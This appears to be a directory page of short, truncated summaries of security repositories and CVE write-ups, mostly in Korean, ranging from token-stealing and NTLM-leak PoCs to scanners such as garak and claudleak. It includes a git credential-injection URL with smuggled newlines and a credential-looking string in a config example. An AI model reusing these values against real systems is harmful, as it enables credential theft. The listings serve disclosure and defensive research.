The vulnerability in the kernel of operating systems such as macOS, iOS, iPadOS, tvOS, watchOS, and visionOS allows attackers to disclose protected information.

The vulnerability of the kernel in operating systems such as macOS, iOS, iPadOS, tvOS, watchOS, and visionOS is related to a kernel address leakage. Exploiting this vulnerability can allow an attacker to disclose sensitive information that is protected by the system’s security measures...

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC CheckPoint SNX VPN Linux 클라이언트를 통한 권한 있는 파일 읽기에 대한 개념 증명. 영향을 받는 버전 CheckPointVPNSNXLinux800007075.sh MD5 체크섬: 4372e9936e2dfb1d1ebcef3ed4dd7787 익스플로잇 익스플로잇을 수행하려면 -f 매개변수를 사용하여 모든 파일을 SNX 구성으로 로드하면 됩니다. 파일이 유효한 SNX 구성이 아닌 경우 오류가 발생하고 구문 오류를 표시하며, 문자열 종결자가 발견될 때까지...

CVE-2024-52317

🚨🚨CVE-2024-52317🚨🚨 CVE-2024-52317 - Apache Tomcat HTTP/2 데이터 유출 취약점 개요 CVE-2024-52317은 Apache Tomcat의 HTTP/2 구현에 영향을 미치는 취약점입니다. 이 문제는 HTTP/2 요청 및 응답 리소스의 부적절한 재사용으로 인해 발생하며, 사용자 간 데이터 유출로 이어질 수 있습니다. 즉, 한 사용자의 민감한 데이터가 다른 사용자에게 전송되는 응답에 포함될 가능성이 있습니다. 영향받는 버전 다음 Apache Tomcat 버전이 취약합니다: 버전 시리즈|...

Koh

Koh Koh는 의도적인 토큰/로그온 세션 유출을 통해 사용자 자격 증명 자료를 캡처할 수 있는 C 및 BOFBeacon Object File 도구 모음입니다. 일부 코드는 Elad Shamir의 Internal-Monologue 프로젝트라이선스 없음와 KB180548에서 영감을 받았습니다. 이것이 가능한 이유와 Koh의 접근 방식에 대해서는 이 README의 기술적 배경 섹션을 참조하세요. Koh의 동기와 접근 방식에 대한 더 자세한 설명은 Koh: The Token Stealer 게시물을 참조하세요. @harmj0y가 이 ...

CVE-2020-5260

CVE-2020-5260 CVE-2020-5260 데모 기록 git은 'git clone https://example.com'과 같은 명령을 실행할 때, 프로토콜 'https'를 사용하여 호스트 'example.com'의 자격 증명을 저장하도록 요청하고, 원격 측에서 인증을 요청할 때 반환된 자격 증명을 발신 요청에 첨부합니다. git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 참고 링크:...

CVE-2026-24055-OAuth-Langfuse

CVE-2026-24055 — Unauthenticated Slack OAuth Install in Langfuse Đồ án môn Bảo mật Web và Ứng dụng — Nhóm 06, lớp NT213.Q21.ANTT 📌 Tóm tắt Dự án tái hiện lại reproduce một lỗ hổng bảo mật thực tế đã được công bố CVE-2026-24055 trên nền tảng Langfuse — một endpoint OAuth cho phép kẻ tấn công chiếm...

Instagram-Notes-Audio-Leakage-via-URL-Extraction-Fixed

🎙️ Instagram Notes URL 추출을 통한 오디오 유출 수정 및 보상 완료 🛡️ 취약점 요약 2025년 5월, 저는 Instagram Web에서 모든 사용자가 Note로부터 원본 비디오 파일 을 추출하고 공개되어서는 안 되는 배경 오디오 에 접근할 수 있는 취약점을 발견했습니다. 이는 비디오가 무음으로 표시되어야 하는 Notes 기능의 프라이버시 모델을 우회했습니다. ⚠️ 이 취약점은 책임감 있게 공개되었고, 확인되었으며, 수정되었습니다. Meta의 버그 바운티 프로그램을 통해 이를 보고했으며, 이 발견으로 $1000...

bfac

BFAC Advanced Backup-File Artifacts Testing for Web-Applications BFAC Backup File Artifacts Checker is an automated tool that checks for backup artifacts that may disclose the web-application's source code. The artifacts can also lead to leakage of sensitive information, such as passwords,...

OptionsBleed-POC-Scanner

OptionsBleed-POC-Scanner OptionsBleed CVE-2017-9798 PoC / 스캐너 추가 정보는 곧 제공될 예정입니다... 면책 조항 이 소프트웨어는 순전히 학술 연구와 효과적인 방어 기술 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오. 사용법 pip install -r requirements.txt usage: bleeder.py -h...

droidbox

소개 DroidBox는 Android 애플리케이션의 동적 분석을 제공하기 위해 개발되었습니다. 분석이 완료되면 생성된 결과에 다음 정보가 설명됩니다: 분석된 패키지의 해시 들어오는/나가는 네트워크 데이터 파일 읽기 및 쓰기 작업 시작된 서비스 및 DexClassLoader를 통해 로드된 클래스 네트워크, 파일 및 SMS를 통한 정보 유출 우회된 권한 Android API를 사용하여 수행된 암호화 작업 브로드캐스트 리시버 목록 전송된 SMS 및 전화 통화 또한 패키지의 동작을 시각화하는 두 개의 그래프가 생성됩니다. 하나는 작업...

mantra

「🔑」 Mantra에 관하여 해당 도구는 Go로 작성되었으며, 주요 목적은 JavaScript 파일과 HTML 페이지에서 API 키를 검색하는 것입니다. 이 도구는 웹 페이지와 스크립트 파일의 소스 코드를 확인하여 API 키와 동일하거나 유사한 문자열을 찾습니다. 이러한 키는 종종 타사 API와 같은 온라인 서비스에 대한 인증에 사용되며 기밀이므로 공개적으로 공유되어서는 안 됩니다. 이 도구를 사용하면 개발자는 자신의 API 키가 유출되고 있는지 신속하게 식별하고 문제가 발생하기 전에 조치를 취할 수 있습니다. 또한 보안 담당...

yolo-cage

yolo-cage: 해를 끼치지 않는 자율 코딩 에이전트 당신은 책임감 있는 엔지니어입니다. AI가 가장 민감한 시스템과 코드베이스를 마구 휘젓도록 내버려두지 않을 것입니다. 그렇기에 Claude Code와 같은 도구의 안전 장치를 절대 해제하지 않을 것입니다. 위험한 작업마다 허가를 요청하니까요! 안전합니다! 그래서 당신은 기다립니다. 그리고 응답합니다. 결정 피로가 쌓입니다. 그리고 바로 그때 일이 발생합니다. 권한 프롬프트는 위협 모델의 가장 약한 부분인 피곤한 사용자를 무시합니다. 에이전트의 폭발 반경을 제한하면서 권한...

Microsoft-Edge-Information-Disclosure

Microsoft-Edge-Information-Disclosure CVE-2024-30056 Microsoft Edge Chromium-based 정보 노출 취약점 이는 Microsoft Edge Chromium 기반의 취약점입니다. 공격자는 사용자가 자신도 모르게 민감한 정보를 노출하도록 속일 수 있습니다. PoC: PoC CVE-2024-30056 body font-family: Arial, sans-serif; margin: 20px; h1 color: 333; pre background-color: f5f5f5;...

claudleak

claudleak 퍼블릭 GitHub 리포지토리에서 AI 코딩 도구 설정 파일.claude/, .cursor/, .continue/, .codex/, CLAUDE.md, AGENTS.md 등에 유출된 자격 증명을 스캔합니다. 비밀 탐지에는 TruffleHog를 사용합니다. .claude/ 디렉토리 예시: "permissions": "allow": "Bashgo build:", "BashRAPID7ENCRYPTEDCREDS='eP3g488hQ23QiU4kJahhwPKs3PyE' go test ./pkg/agents/ -run...

androguard

Androguard Androguard: Reverse engineering and pentesting for Android applications Androguard 5 is a Python toolkit for Android reverse engineering: open an APK, inspect the manifest and DEX, disassemble or decompile code, hunt references and vulnerabilities, and optionally patch or analyze nativ...

SMB_CVE-2025-24071

CVE-2025-24071 PoC SMB + TAR 추출 방법 이것은 CVE-2025-24071 을 악용하기 위한 PoC입니다. 이 윈도우 취약점은 .library-ms 파일을 통해 NTLM 해시 누출을 허용합니다. 이 버전은 .zip 대신 .tar 아카이브를 사용한다는 점에서 다른 버전과 약간 다르며, SMB 전용 환경에서 호환성을 향상시킵니다. 📌 왜 .zip 대신 .tar인가? 대부분의 공개 PoC는 악성 .library-ms 파일을 패키징하기 위해 .zip을 사용합니다. 그러나 제한된 SMB 환경예: smbclient를...

In-Spectre-Meltdown

In-Spectre-Meltdown 이 도구는 많은 최신 프로세서와 운영 체제 설계에 영향을 미치는 추측 실행 사이드 채널 공격을 확인할 수 있게 해줍니다. CVE-2017-5754 Meltdown 및 CVE-2017-5715 Spectre는 권한 없는 프로세스가 권한 있는 프로세스로부터 비밀을 탈취할 수 있게 합니다. 이러한 공격은 CPU의 데이터 보호 조치를 공격하는 세 가지 다른 방법을 제시하며, 공격자가 읽을 수 없어야 할 데이터를 읽을 수 있게 합니다. 이 도구는 원래 Microsoft 기반입니다:...

garak

garak, LLM 취약점 스캐너 생성형 AI 레드팀 및 평가 키트 garak은 LLM이 우리가 원하지 않는 방식으로 실패하도록 만들 수 있는지 확인합니다. garak은 환각hallucination, 데이터 유출data leakage, 프롬프트 인젝션prompt injection, 허위 정보misinformation, 유해 콘텐츠 생성toxicity generation, 탈옥jailbreaks 및 기타 많은 취약점을 탐지합니다. nmap이나 msf/Metasploit Framework를 알고 있다면, garak은 그들과 비슷하...

Astra

Astra REST API penetration testing is complex due to continuous changes in existing APIs and newly added APIs. Astra can be used by security engineers or developers as an integral part of their process, so they can detect and patch vulnerabilities early during development cycle. Astra can...

Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)

imgproxy =3.14.0 is vulnerable to Server-Side Request Forgery SSRF due to a lack of sanitization of the imageURL parameter. id: CVE-2023-30019 info: name: Imgproxy = 3.14.0 - Server-side request forgery SSRF author: DhiyaneshDK severity: medium description: | imgproxy =3.14.0 is vulnerable to...